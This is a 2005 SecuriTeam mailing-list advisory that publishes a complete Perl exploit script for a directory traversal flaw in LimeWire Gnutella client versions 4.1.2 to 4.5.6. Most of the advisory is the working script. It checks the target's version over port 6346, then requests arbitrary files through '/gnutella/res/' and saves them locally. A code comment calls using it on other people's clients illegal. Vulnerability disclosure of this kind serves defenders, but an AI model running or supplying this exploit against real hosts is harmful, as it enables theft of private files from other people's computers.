[EXPL] LimeWire File Disclosure Exploit

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  LimeWire File Disclosure Exploit
------------------------------------------------------------------------


SUMMARY

This script exploits recently reported vulnerability in LimeWire Gnutella 
client,  <http://www.securiteam.com/securitynews/5AP0A20F6U.html> LimeWire 
Gnutella Client Directory Traversal and File Disclosure. The script allows 
fetching text files from system running vulnerable versions of LimeWire.

DETAILS

Vulnerable Systems:
 * LimeWire versions 4.1.2 up to version 4.5.6

#!/usr/bin/perl
#
# This is just a quick and dirty script to grab textfiles. Doesn't work on 
binaries.
#
# Note: Using this code to 'hack' LimeWire clients other than your own is 
illegal and should NOT be done!
#
# (c)2005 Marco van Berkum

use IO::Socket;

if(!$ARGV[2] || $ARGV[1] !~ /\\/) {
 die "Usage: ./limehack.pl host \"file you want\" outputfile 
[nondefaultport if needed]\n\nExample: ./limehack.pl 127.0.0.1 
\"C:\\Windows\\win.ini\" win.ini \(don\'t forget the quotes\)\nUse the 
silly DOS way when requesting files with spaces, Progra~1 etc..\n\n";
}

$host = $ARGV[0];
$file = $ARGV[1];
$outputfile = $ARGV[2];
$port = $ARGV[3];
$readtimeout = "15"; # set longer for big files

if(!$port) { $port = 6346; }

# open sock
my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port, 
Proto => 'tcp', Timeout => '5') || die "Connection refused\n";

# wheee socket;
if($sock) {
 print $sock "HEAD ?\n\n";
 sleep(5);
 sysread($sock, $buff, 1000);
 close($sock);
}

($temp, $server, $temp) = split(/Request|Content-Type/,$buff);
undef($buff);
($temp, $version) = split(/Server: /,$server);
chomp($version);

if($version =~ /limewire/i) {
 ($temp, $versionnodots) = split(/\//,$version);
 $versionnodots =~ s/\.//g;
 if($versionnodots >= 412 && $versionnodots <= 456) {
 print("Vulnerable LimeWire!\n");
 } else { die "Not a vulnerable LimeWire server \:\(\n"; }

} else { die "Not a LimeWire server!\n" }

print "Requesting file: $file.....\n";
my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port, 
Proto => 'tcp', Timeout => '5') || die "Connection refused, host died?\n";

# wheee socket;
if($sock) {
 print $sock "GET /gnutella/res/$file HTTP/1.1\n\n";

 sleep($readtimeout);
 sysread($sock, $buff, 9999999);
}

if($buff =~ /200 OK/) {
 print "\nGot it!\nYou hacked!!!\n";
 print "The file is saved as $outputfile!\n";
 ($temp, $data) = split(/Content-Length:.*/,$buff);
 $data =~ s/^\n//g;
 open FILE, ">$outputfile";
 print FILE "$data";
 close FILE;
} else {
print "File not found!\n";
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:marco@jammerjoh.xs4all.nl> 
Marco van Berkum.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.